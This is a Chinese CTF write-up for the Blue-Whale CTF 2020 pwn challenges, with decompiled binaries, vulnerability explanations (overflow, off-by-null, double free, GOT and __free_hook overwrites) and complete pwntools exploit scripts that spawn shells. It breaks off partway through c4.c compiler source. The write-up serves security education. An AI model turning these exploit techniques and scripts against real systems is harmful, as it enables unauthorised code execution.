【WriteUp】Blue-Whale CTF 2020 -- Pwn 题解

搭好 CTFd 了,动态靶机也实现了,自定义也做了,舒服~~~

(要不是 TaQini 师傅给我指点了一下咋搭,这个 CTFd 我能搭一年 =_=

有幸参加了中国海洋大学的校赛,这里记录一下题解

Pwn_WarmUp

Description:

A White-Give shell

'ls' and 'cat flag'

nc 118.190.133.9 10001

LongMing Author:AiDai

Solution:

cat flag 完事的签到题

Flag:

flag{Welc0m3_to_my_Pwn_w0r1d!}

Y.J.Aickson's Calculator

Description:

nc pwn.iostream.site 2333 LongMing Author: restart_

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char v4; // [rsp+7h] [rbp-19h]
  unsigned int v5; // [rsp+8h] [rbp-18h]
  int v6; // [rsp+Ch] [rbp-14h]
  int v7; // [rsp+10h] [rbp-10h]
  int v8; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v9; // [rsp+18h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("This is a calculator");
  printf("Enter your expression like \"1 2 +\",", 0LL);
  puts("means \"1 + 2\"");
  puts("Only Positive Number will be output.");
  v5 = 0;
  scanf("%d%d%s", &v6, &v7, &v4);
  if ( v4 == '+' )
  {
    v8 = v6 + v7;
  }
  else if ( v4 > '+' )
  {
    if ( v4 == '-' )
    {
      v8 = v6 - v7;
    }
    else
    {
      if ( v4 != '/' )
        goto LABEL_12;
      v8 = v6 / v7;
    }
  }
  else
  {
    if ( v4 != '*' )
    {
LABEL_12:
      puts("Symbol Error");
      return 0;
    }
    v8 = v6 * v7;
  }
  if ( v8 == 0x1BF52 )
  {
    puts("Y.J.Aickson?");
    result = 0;
  }
  else
  {
    v5 = *std::max<int>(&v5, &v8);
    printf("result: %d\n", v5);
    if ( v5 == 0x1BF52 )
    {
      puts("Y.J.Aickson?");
      system("/bin/sh");
    }
    result = 0;
  }
  return result;
}

利用 %s 覆盖变量来提权的入门 Pwn 题,114514 草

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('pwn.iostream.site', 2333)

pd = '0 0 +'
pd += p32(114514)
p.sendlineafter('output.', pd)
p.interactive()

Flag:

flag{wh1t3_g1v3_stAck_0v3rf10w!}

Note

Description:

nc 118.190.133.9 11001

LongMing Author:AiDai

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  chall_init();
  while ( 1 )
  {
    menu();
    read_atoi();
    switch ( &savedregs )
    {
      case 1u:
        add();
        break;
      case 2u:
        show();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        edit();
        break;
      case 5u:
        puts("bye!");
        exit(0);
        return;
      default:
        puts("Invalid!");
        break;
    }
  }
}

chall_init 函数如下:

int chall_init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  return setvbuf(stdout, 0LL, 2, 0LL);
}

menu 函数如下:

int menu()
{
  puts("======================");
  puts("      Note System     ");
  puts("======================");
  puts("1.Add");
  puts("2.Show");
  puts("3.Delete");
  puts("4.Edit");
  puts("5.Exit");
  puts("======================");
  return printf("choice:");
}

read_atoi 函数如下:

int sub_9E1()
{
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, &buf, 8uLL);
  return atoi(&buf);
}

add 函数如下:

int add()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  v1 = 0;
  while ( chunk_202040[v1] )
  {
    if ( ++v1 > 9 )
      return puts("Full.");
  }
  printf("%d\n", v1);
  chunk_202040[v1] = malloc(0x1F8uLL);
  return puts("Done!");
}

show 函数如下:

int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v1 = read_atoi();
  if ( chunk_202040[v1] )
  {
    puts("Content:");
    puts(chunk_202040[v1]);
  }
  return puts("Done!");
}

delete 函数如下:

int delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v1 = read_atoi();
  if ( v1 < 0 || v1 > 9 )
    exit(0);
  free(chunk_202040[v1]);
  chunk_202040[v1] = 0LL;
  return puts("Done!");
}

edit 函数如下:

int edit()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v1 = read_atoi();
  if ( v1 < 0 || v1 > 9 )
    exit(0);
  puts("Content:");
  read_00(chunk_202040[v1], 0x1F8);
  return puts("Done!");
}

read_00 函数如下:

_BYTE *__fastcall read_00(__int64 a1, int a2)
{
  _BYTE *result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2; ++i )
  {
    read(0, (i + a1), 1uLL);
    if ( !*(i + a1) )
      break;
  }
  result = (a2 + a1);
  *result = 0;
  return result;
}

被 edit 调用的 read_00 函数是一处漏洞,会导致 off-by-null

解题思路:

show 函数没有边界检查,可以任意泄露,但是没啥用

这里我利用 show(-7) 的目的纯粹就是为了方便 gdb 的调试

先 add 8 次后再 delete 8 次,得到 unsorted bin 获得 libc

然后再利用 off-by-null,使 chunk 向后合并,先把被合并的 chunk 放到 tcache bin 里,这里主要是为了凑齐 7 个 tcache bin,不然也可以不放

然后申请 8 次,得到两个带有同一个堆地址的地址

最后 duoble free,改写 __free_hook 为 one_gadget 即可

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('118.190.133.9', 11001)
    libc = ELF('./libc.so.6', checksec=False)


def add():
    p.sendlineafter('choice:', '1')


def show(show_idx):
    p.sendlineafter('choice:', '2')
    p.sendlineafter('index:\n', str(show_idx))
    p.recvuntil('Content:\n')


def delete(delete_idx):
    p.sendlineafter('choice:', '3')
    p.sendlineafter('index:\n', str(delete_idx))


def edit(edit_idx, edit_content):
    p.sendlineafter('choice:', '4')
    p.sendlineafter('index:\n', str(edit_idx))
    p.sendafter('Content:\n', edit_content)


libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
show(-7)
mainbase = u64(p.recvuntil('\nDone')[:-5].ljust(8, '\x00')) - 0x202008
addr_chunk = mainbase + 0x202040
for i in range(0, 9):
    add()
for i in range(2, 9):
    delete(i)
delete(0)
delete(1)
for i in range(0, 9):
    add()
show(7)

addr___malloc_hook = u64(p.recvuntil('\nDone')[:-5].ljust(8, '\x00')) - 0x460
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr__free_hook = libcbase + libc.sym['__free_hook']
addr_one_gadget = libcbase + libc_one_gadget[1]

show(2)
heapbase = u64(p.recvuntil('\nDone')[:-5].ljust(8, '\x00')) - 0xc60

edit(7, 'h' * 0x1f0 + p16(0x2f0) + '\x00')
edit(7, 'h' * 0x1f0 + '\x00')
edit(7, 'h' * 0xf + '\x00')
edit(7, 'h' * 0x8 + p64(heapbase + 0x250)[:-1])
edit(7, 'h' * 0x7 + '\x00')
edit(7, p64(heapbase + 0x250)[:-1])

for i in range(0, 7):
    delete(i)
delete(8)
for i in range(0, 8):
    add()

delete(7)
delete(8)
add()
edit(7, p64(addr__free_hook)[:-1])
add()
add()
edit(9, p64(addr_one_gadget)[:-1])
# gdb.attach(p, "b free\nc")
delete(8)
success('mainbase           = ' + hex(mainbase))
success('addr_chunk         = ' + hex(addr_chunk))
success('heapbase           = ' + hex(heapbase))
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
p.interactive()

Flag:

flag{T3nCent_N3ws_s4id_On3Note_v3ry_ha0shi}

New Wave

Description:

nc 118.190.133.9 11002

LongMing Author:AiDai

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  chall_init();
  while ( 1 )
  {
    menu();
    puts("What you possess is what we used to yearn for — the freedom of choice.");
    puts("Input your choice:");
    switch ( read_atoi() )
    {
      case 1:
        add();
        break;
      case 2:
        show();
        break;
      case 3:
        edit();
        break;
      case 4:
        delete();
        break;
      case 5:
        puts("You are really a People’s MoneyFather.");
        exit(0);
        return;
      default:
        puts("Invalid!");
        break;
    }
  }
}

chall_init 函数如下:

int chall_init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return mprotect(_malloc_hook, 0x10uLL, 2);
}

记笔记,这竟然能将 __malloc_hook 迁移到 bss 段上

menu 函数如下:

int menu()
{
  puts("===============================");
  puts(" A. tuberosum Rottl. ex Spreng ");
  puts("===============================");
  puts("1.Plant.");
  puts("2.Look at them with admiration.");
  puts("3.Bamboozle them.");
  puts("4.Harvest.");
  puts("5.Exit.");
  return puts("===============================");
}

read_atoi 函数如下:

int ()
{
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, &buf, 8uLL);
  return atoi(&buf);
}

add 函数如下:

int add()
{
  int v1; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  v1 = 0;
  while ( buf[v1] )
  {
    if ( ++v1 > 5 )
      return puts("You're going to be hung on the street light.");
  }
  puts("Size:");
  v2 = read_atoi();
  if ( v2 < 0 || v2 > 128 )
    puts("You're going to be hung on the street light.");
  buf[v1] = (char *)malloc(v2);
  dword_6020C0[v1] = v2;
  return puts("Done!");
}

show 函数如下:

int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( !dword_602078 )
    return puts("You can only look at them with admiration once.");
  puts("index:");
  v1 = read_atoi();
  if ( buf[v1] )
  {
    puts("Info:");
    puts(buf[v1]);
  }
  puts("Done!");
  return dword_602078-- - 1;
}

edit 函数如下:

int edit()
{
  int v1; // ST0C_4
  int v2; // [rsp+8h] [rbp-8h]

  if ( !dword_602080 )
    return puts("You're going to be hung on the street light.");
  puts("index:");
  v2 = read_atoi();
  if ( v2 < 0 || v2 > 5 )
    exit(0);
  if ( buf[v2] )
  {
    v1 = dword_6020C0[v2];
    puts("Info:");
    read(0, buf[v2], v1);
    puts("Done!");
  }
  return dword_602080-- - 1;
}

delete 函数如下:

int delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( !dword_60207C )
    return puts("You're going to be hung on the street light.");
  puts("index:");
  v1 = read_atoi();
  if ( v1 < 0 || v1 > 5 )
    exit(0);
  if ( buf[v1] )
    free(buf[v1]);
  puts("Done!");
  return dword_60207C-- - 1;
}

解题思路

可以在程序代码段部分泄露出 libc,然后能在 bss 段(且是记录堆地址上方的地址处)找到可用的 0x7f

而且 edit 函数能改 free 掉的堆块,于是乎先改堆块的第一个地址为 atoi 的 got 表

再把这个 got 表改为 addr_system 就提权了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('118.190.133.9', 11002)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)

def add(add_size):
    p.sendlineafter('choice:\n', '1')
    p.sendlineafter('Size:\n', str(add_size))


def show(show_idx):
    p.sendlineafter('choice:\n', '2')
    p.sendlineafter('index:\n', str(show_idx))
    p.recvuntil('Info:\n')


def edit(edit_idx, edit_info):
    p.sendlineafter('choice:\n', '3')
    p.sendlineafter('index:\n', str(edit_idx))
    p.sendafter('Info:\n', edit_info)


def delete(delete_idx):
    p.sendlineafter('choice:\n', '4')
    p.sendlineafter('index:\n', str(delete_idx))


got_atoi = elf.got['atoi']
addr_target = 0x6020ad
show(-0x4039e)

addr__IO_2_1_stdout_ = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr__IO_2_1_stdout_ - libc.sym['_IO_2_1_stdout_']
addr_system = libcbase + libc.sym['system']

add(0x60)
delete(0)
edit(0, p64(addr_target))
add(0x60)
add(0x60)
edit(2, 'a' * 0x23 + p64(got_atoi))
edit(0, p64(addr_system))
p.sendlineafter('choice:\n', '/bin/sh\x00')
p.interactive()

Flag:

flag{Surg3_0n_y0ung_g3ner4tion5_A_tuberosum_Rottl_ex_Spreng}

Love River

Description:

nc 118.190.133.9 11000

LongMing Author:AiDai

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  chall_init();
  while ( 1 )
  {
    menu();
    read_atoi();
    switch ( &savedregs )
    {
      case 1u:
        add();
        continue;
      case 2u:
        show();
        continue;
      case 3u:
        delete();
        continue;
      case 4u:
        edit();
        continue;
      case 5u:
        puts("If I let you come back, would you love me.");
        exit(0);
        return;
      case 6u:
        vuln_edit();
        break;
      default:
        break;
    }
    puts("Invalid!");
  }
}

chall_init 函数如下:

int chall_init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  return setvbuf(stdout, 0LL, 2, 0LL);
}

menu 函数如下:

int menu()
{
  puts("======================");
  puts("      Love River      ");
  puts("======================");
  puts("1.Find a girlfriend");
  puts("2.PDA");
  puts("3.Break up");
  puts("4.Change your girlfriend");
  puts("5.Exit");
  puts("======================");
  return printf("choice:");
}

read_atoi 函数如下:

int read_atoi()
{
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, &buf, 8uLL);
  return atoi(&buf);
}

add 函数如下:

int add()
{
  int v1; // ST0C_4
  int v2; // [rsp+8h] [rbp-8h]

  v2 = 0;
  while ( qword_2020A0[v2] )
  {
    if ( ++v2 > 10 )
      return puts("Aquaman?");
  }
  puts("Size of info:");
  v1 = read_atoi();
  qword_2020A0[v2] = malloc(v1);
  qword_202040[v2] = v1;
  puts("Info:");
  chall_read(qword_2020A0[v2], v1);
  printf("Your girlfriend is at %p\n", qword_2020A0[v2]);
  return puts("Done!");
}

show 函数如下:

int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( !dword_202010 )
    return puts("?");
  puts("index:");
  v1 = read_atoi();
  if ( qword_2020A0[v1] )
  {
    puts("Info:");
    puts(qword_2020A0[v1]);
  }
  puts("Done!");
  return dword_202010-- - 1;
}

dword_202010 的值为 1,也就是只能 show 一次

delete 函数如下:

int delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v1 = read_atoi();
  if ( v1 < 0 || v1 > 10 )
    exit(0);
  if ( qword_2020A0[v1] )
  {
    free(qword_2020A0[v1]);
    qword_2020A0[v1] = 0LL;
    qword_202040[v1] = 0LL;
  }
  puts("That's your excuse to break up.");
  return puts("Done!");
}

edit 函数如下:

int edit()
{
  __int64 v0; // rax
  int v1; // ST0C_4
  int v3; // [rsp+8h] [rbp-8h]

  puts("index:");
  v3 = read_atoi();
  if ( v3 < 0 || v3 > 10 )
    exit(0);
  v0 = qword_2020A0[v3];
  if ( v0 )
  {
    v1 = qword_202040[v3];
    puts("Info:");
    chall_read(qword_2020A0[v3], v1);
    LODWORD(v0) = puts("Done!");
  }
  return v0;
}

vuln_edit 函数如下:

int vuln_edit()
{
  int v1; // ST08_4
  int v2; // ST0C_4
  int v3; // [rsp+4h] [rbp-Ch]

  if ( !dword_202014 )
    return puts("?");
  puts("Your girlfriend is NULL.");
  puts("index:");
  v3 = read_atoi();
  v1 = qword_202040[v3];
  if ( v3 < 0 || v3 > 10 )
    exit(0);
  if ( qword_2020A0[v3] )
  {
    v2 = qword_202040[v3];
    puts("Info:");
    read_00(qword_2020A0[v3], v2);
    puts("Done!");
  }
  return dword_202014-- - 1;
}

此处有 off-by-null 漏洞,dword_202014 的值为 1,也就是只能制造一处 off-by-null

解题思路

先申请 1 个 0x70 大小的 chunk 和 8 个 0x3f8 大小的 chunk

在第一个 0x3f8 大小的堆块处制造 off-by-null,然后 delete 掉 7 个 0x3f8 的堆块,使其填满 tcache bin

利用 unsorted bin 向后合并泄露 libc 且得到 overlap 且大小为 0x70 的堆块

然后 delete 掉所有 0x3f8 的堆块,为了给 add 提供空间,确保之后能分配较多的 chunk

再申请 8 个 0x70 大小的堆块,释放掉其中 7 个,使其填满 tcache bin

利用最后一个 0x70 大小的堆块和一开始的 overlap 的堆块做 fastbin 的 double free 即可提权

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('118.190.133.9', 11000)
    libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)


def add(add_size, add_info):
    p.sendlineafter('choice:', '1')
    p.sendlineafter('of info:\n', str(add_size))
    p.sendafter('Info:\n', add_info)
    p.recvuntil(' is at ')


def show(show_idx):
    p.sendlineafter('choice:', '2')
    p.sendlineafter('index:\n', str(show_idx))
    p.recvuntil('Info:\n')


def delete(delete_idx):
    p.sendlineafter('choice:', '3')
    p.sendlineafter('index:\n', str(delete_idx))


def edit(edit_idx, edit_info, edit_num=4):
    p.sendlineafter('choice:', str(edit_num))
    p.sendlineafter('index:\n', str(edit_idx))
    p.sendafter('Info:\n', edit_info)

libc_one_gadget = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

add(0x68, 'a')
heapbase = int(p.recv(14), 16) - 0x260
for i in range(1, 9):
    add(0x3f8, 'a')

for i in range(2, 9):
    delete(i)
delete(0)
delete(1)
add(0x68, '\x30')
for i in range(1, 9):
    add(0x3f8, '\x30')

edit(0, 'h' * 0x60 + p64(0x70))
edit(0, 'h' * 0x8 + p64(heapbase + 0x250))
edit(0, p64(heapbase + 0x250), 6)

for i in range(1, 8):
    delete(i)
delete(8)
for i in range(1, 8):
    add(0x3f8, '\x30')
add(0x68, '\x30')
show(0)

addr___malloc_hook = u64(p.recvuntil('\nDone')[:-5].ljust(8, '\x00')) - 0x400
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[1]

for i in range(1, 8):
    delete(i)
for i in range(1, 9):
    add(0x68, '\x30')
for i in range(1, 8):
    delete(i)
delete(0)
delete(9)
delete(8)
for i in range(0, 7):
    add(0x68, '\x30')
add(0x68, p64(addr___malloc_hook))
add(0x68, p64(addr___malloc_hook))
add(0x68, p64(addr___malloc_hook))
add(0x68, p64(addr_one_gadget))
delete(5)
p.sendlineafter('choice:', '1')
p.sendlineafter('of info:\n', '23')
# gdb.attach(p)
success('heapbase           = ' + hex(heapbase))
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
p.interactive()

Flag:

flag{1F_y0u_c0m3_b4cK_wOuLd_y0u_l0ve_m3?}

A+B Problem

Description:

https://ctf.blue-whale.me/wgoj

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

题目环境是 Ubuntu 18.04

源码如下:

// c4.c - C in four functions

// char, int, and pointer types
// if, while, return, and expression statements
// just enough features to allow self-compilation and a bit more

// Written by Robert Swierczek

#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <unistd.h>
#include <fcntl.h>
#define int long long

char *p, *lp, // current position in source code
     *data;   // data/bss pointer

int *e, *le,  // current position in emitted code
    *id,      // currently parsed identifier
    *sym,     // symbol table (simple list of identifiers)
    tk,       // current token
    ival,     // current token value
    ty,       // current expression type
    loc,      // local variable offset
    line,     // current line number
    src,      // print source and assembly flag
    debug;    // print executed instructions

// tokens and classes (operators last and in precedence order)
enum {
  Num = 128, Fun, Sys, Glo, Loc, Id,
  Char, Else, Enum, If, Int, Return, Sizeof, While,
  Assign, Cond, Lor, Lan, Or, Xor, And, Eq, Ne, Lt, Gt, Le, Ge, Shl, Shr, Add, Sub, Mul, Div, Mod, Inc, Dec, Brak
};

// opcodes
enum { LEA ,IMM ,JMP ,JSR ,BZ  ,BNZ ,ENT ,ADJ ,LEV ,LI  ,LC  ,SI  ,SC  ,PSH ,
       OR  ,XOR ,AND ,EQ  ,NE  ,LT  ,GT  ,LE  ,GE  ,SHL ,SHR ,ADD ,SUB ,MUL ,DIV ,MOD ,
       OPEN,READ,CLOS,PRTF,MALC,FREE,MSET,MCMP,EXIT };

// types
enum { CHAR, INT, PTR };

// identifier offsets (since we can't create an ident struct)
enum { Tk, Hash, Name, Class, Type, Val, HClass, HType, HVal, Idsz };

void next()
{
  char *pp;

  while (tk = *p) {
    ++p;
    if (tk == '\n') {
      if (src) {
        printf("%d: %.*s", line, p - lp, lp);
        lp = p;
        while (le < e) {
          printf("%8.4s", &"LEA ,IMM ,JMP ,JSR ,BZ  ,BNZ ,ENT ,ADJ ,LEV ,LI  ,LC  ,SI  ,SC  ,PSH ,"
                           "OR  ,XOR ,AND ,EQ  ,NE  ,LT  ,GT  ,LE  ,GE  ,SHL ,SHR ,ADD ,SUB ,MUL ,DIV ,MOD ,"
                           "OPEN,READ,CLOS,PRTF,MALC,FREE,MSET,MCMP,EXIT,"[*++le * 5]);
          if (*le <= ADJ) printf(" %d\n", *++le); else printf("\n");
        }
      }
      ++line;
    }
    else if (tk == '#') {
      while (*p != 0 && *p != '\n') ++p;
    }
    else if ((tk >= 'a' && tk <= 'z') || (tk >= 'A' && tk <= 'Z') || tk == '_') {
      pp = p - 1;
      while ((*p >= 'a' && *p <= 'z') || (*p >= 'A' && *p <= 'Z') || (*p >= '0' && *p <= '9') || *p == '_')
        tk = tk * 147 + *p++;
      tk = (tk << 6) + (p - pp);
      id = sym;
      while (id[Tk]) {
        if (tk == id[Hash] && !memcmp((char *)id[Name], pp, p - pp)) { tk = id[Tk]; return; }
        id = id + Idsz;
      }
      id[Name] = (int)pp;
      id[Hash] = tk;
      tk = id[Tk] = Id;
      return;
    }
    else if (tk >= '0' && tk <= '9') {
      if (ival = tk - '0') { while (*p >= '0' && *p <= '9') ival = ival * 10 + *p++ - '0'; }
      else if (*p == 'x' || *p == 'X') {
        while ((tk = *++p) && ((tk >= '0' && tk <= '9') || (tk >= 'a' && tk <= 'f') || (tk >= 'A' && tk <= 'F')))
          ival = ival * 16 + (tk & 15) + (tk >= 'A' ? 9 : 0);
      }
      else { while (*p >= '0' && *p <= '7') ival = ival * 8 + *p++ - '0'; }
      tk = Num;
      return;
    }
    else if (tk == '/') {
      if (*p == '/') {
        ++p;
        while (*p != 0 && *p != '\n') ++p;
      }
      else {
        tk = Div;
        return;
      }
    }
    else if (tk == '\'' || tk == '"') {
      pp = data;
      while (*p != 0 && *p != tk) {
        if ((ival = *p++) == '\\') {
          if ((ival = *p++) == 'n') ival = '\n';
        }
        if (tk == '"') *data++ = ival;
      }
      ++p;
      if (tk == '"') ival = (int)pp; else tk = Num;
      return;
    }
    else if (tk == '=') { if (*p == '=') { ++p; tk = Eq; } else tk = Assign; return; }
    else if (tk == '+') { if (*p == '+') { ++p; tk = Inc; } else tk = Add; return; }
    else if (tk == '-') { if (*p == '-') { ++p; tk = Dec; } else tk = Sub; return; }
    else if (tk == '!') { if (*p == '=') { ++p; tk = Ne; } return; }
    else if (tk == '<') { if (*p == '=') { ++p; tk = Le; } else if (*p == '<') { ++p; tk = Shl; } else tk = Lt; return; }
    else if (tk == '>') { if (*p == '=') { ++p; tk = Ge; } else if (*p == '>') { ++p; tk = Shr; } else tk = Gt; return; }
    else if (tk == '|') { if (*p == '|') { ++p; tk = Lor; } else tk = Or; return; }
    else if (tk == '&') { if (*p == '&') { ++p; tk = Lan; } else tk = And; return; }
    else if (tk == '^') { tk = Xor; return; }
    else if (tk == '%') { tk = Mod; return; }
    else if (tk == '*') { tk = Mul; return; }
    else if (tk == '[') { tk = Brak; return; }
    else if (tk == '?') { tk = Cond; return; }
    else if (tk == '~' || tk == ';' || tk == '{' || tk == '}' || tk == '(' || tk == ')' || tk == ']' || tk == ',' || tk == ':') return;
  }
}

void expr(int lev)
{
  int t, *d;

  if (!tk) { printf("%d: unexpected eof in expression\n", line); exit(-1); }
  else if (tk == Num) { *++e = IMM; *++e = ival; next(); ty = INT; }
  else if (tk == '"') {
    *++e = IMM; *++e = ival; next();
    while (tk == '"') next();
    data = (char *)((int)data + sizeof(int) & -sizeof(int)); ty = PTR;
  }
  else if (tk == Sizeof) {
    next(); if (tk == '(') next(); else { printf("%d: open paren expected in sizeof\n", line); exit(-1); }
    ty = INT; if (tk == Int) next(); else if (tk == Char) { next(); ty = CHAR; }
    while (tk == Mul) { next(); ty = ty + PTR; }
    if (tk == ')') next(); else { printf("%d: close paren expected in sizeof\n", line); exit(-1); }
    *++e = IMM; *++e = (ty == CHAR) ? sizeof(char) : sizeof(int);
    ty = INT;
  }
  else if (tk == Id) {
    d = id; next();
    if (tk == '(') {
      next();
      t = 0;
      while (tk != ')') { expr(Assign); *++e = PSH; ++t; if (tk == ',') next(); }
      next();
      if (d[Class] == Sys) *++e = d[Val];
      else if (d[Class] == Fun) { *++e = JSR; *++e = d[Val]; }
      else { printf("%d: bad function call\n", line); exit(-1); }
      if (t) { *++e = ADJ; *++e = t; }
      ty = d[Type];
    }
    else if (d[Class] == Num) { *++e = IMM; *++e = d[Val]; ty = INT; }
    else {
      if (d[Class] == Loc) { *++e = LEA; *++e = loc - d[Val]; }
      else if (d[Class] == Glo) { *++e = IMM; *++e = d[Val]; }
      else { printf("%d: undefined variable\n", line); exit(-1); }
      *++e = ((ty = d[Type]) == CHAR) ? LC : LI;
    }
  }
  else if (tk == '(') {
    next();
    if (tk == Int || tk == Char) {
      t = (tk == Int) ? INT : CHAR; next();
      while (tk == Mul) { next(); t = t + PTR; }
      if (tk == ')') next(); else { printf("%d: bad cast\n", line); exit(-1); }
      expr(Inc);
      ty = t;
    }
    else {
      expr(Assign);
      if (tk == ')') next(); else { printf("%d: close paren expected\n", line); exit(-1); }
    }
  }
  else if (tk == Mul) {
    next(); expr(Inc);
    if (ty > INT) ty = ty - PTR; else { printf("%d: bad dereference\n", line); exit(-1); }
    *++e = (ty == CHAR) ? LC : LI;
  }
  else if (tk == And) {
    next(); expr(Inc);
    if (*e == LC || *e == LI) --e; else { printf("%d: bad address-of\n", line); exit(-1); }
    ty = ty + PTR;
  }
  else if (tk == '!') { next(); expr(Inc); *++e = PSH; *++e = IMM; *++e = 0; *++e = EQ; ty = INT; }
  else if (tk == '~') { next(); expr(Inc); *++e = PSH; *++e = IMM; *++e = -1; *++e = XOR; ty = INT; }
  else if (tk == Add) { next(); expr(Inc); ty = INT; }
  else if (tk == Sub) {
    next(); *++e = IMM;
    if (tk == Num) { *++e = -ival; next(); } else { *++e = -1; *++e = PSH; expr(Inc); *++e = MUL; }
    ty = INT;
  }
  else if (tk == Inc || tk == Dec) {
    t = tk; next(); expr(Inc);
    if (*e == LC) { *e = PSH; *++e = LC; }
    else if (*e == LI) { *e = PSH; *++e = LI; }
    else { printf("%d: bad lvalue in pre-increment\n", line); exit(-1); }
    *++e = PSH;
    *++e = IMM; *++e = (ty > PTR) ? sizeof(int) : sizeof(char);
    *++e = (t == Inc) ? ADD : SUB;
    *++e = (ty == CHAR) ? SC : SI;
  }
  else { printf("%d: bad expression\n", line); exit(-1); }

  while (tk >= lev) { // "precedence climbing" or "Top Down Operator Precedence" method
    t = ty;
    if (tk == Assign) {
      next();
      if (*e == LC || *e == LI) *e = PSH; else { printf("%d: bad lvalue in assignment\n", line); exit(-1); }
      expr(Assign); *++e = ((ty = t) == CHAR) ? SC : SI;
    }
    else if (tk == Cond) {
      next();
      *++e = BZ; d = ++e;
      expr(Assign);
      if (tk == ':') next(); else { printf("%d: conditional missing colon\n", line); exit(-1); }
      *d = (int)(e + 3); *++e = JMP; d = ++e;
      expr(Cond);
      *d = (int)(e + 1);
    }
    else if (tk == Lor) { next(); *++e = BNZ; d = ++e; expr(Lan); *d = (int)(e + 1); ty = INT; }
    else if (tk == Lan) { next(); *++e = BZ;  d = ++e; expr(Or);  *d = (int)(e + 1); ty = INT; }
    else if (tk == Or)  { next(); *++e = PSH; expr(Xor); *++e = OR;  ty = INT; }
    else if (tk == Xor) { next(); *++e = PSH; expr(And); *++e = XOR; ty = INT; }
    else if (tk == And) { next(); *++e = PSH; expr(Eq);  *++e = AND; ty = INT; }
    else if (tk == Eq)  { next(); *++e = PSH; expr(Lt);  *++e = EQ;  ty = INT; }
    else if (tk == Ne)  { next(); *++e = PSH; expr(Lt);  *++e = NE;  ty = INT; }
    else if (tk == Lt)  { next(); *++e = PSH; expr(Shl); *++e = LT;  ty = INT; }
    else if (tk == Gt)  { next(); *++e = PSH; expr(Shl); *++e = GT;  ty = INT; }
    else if (tk == Le)  { next(); *++e = PSH; expr(Shl); *++e = LE;  ty = INT; }
    else if (tk == Ge)  { next(); *++e = PSH; expr(Shl); *++e = GE;  ty = INT; }
    else if (tk == Shl) { next(); *++e = PSH; expr(Add); *++e = SHL; ty = INT; }
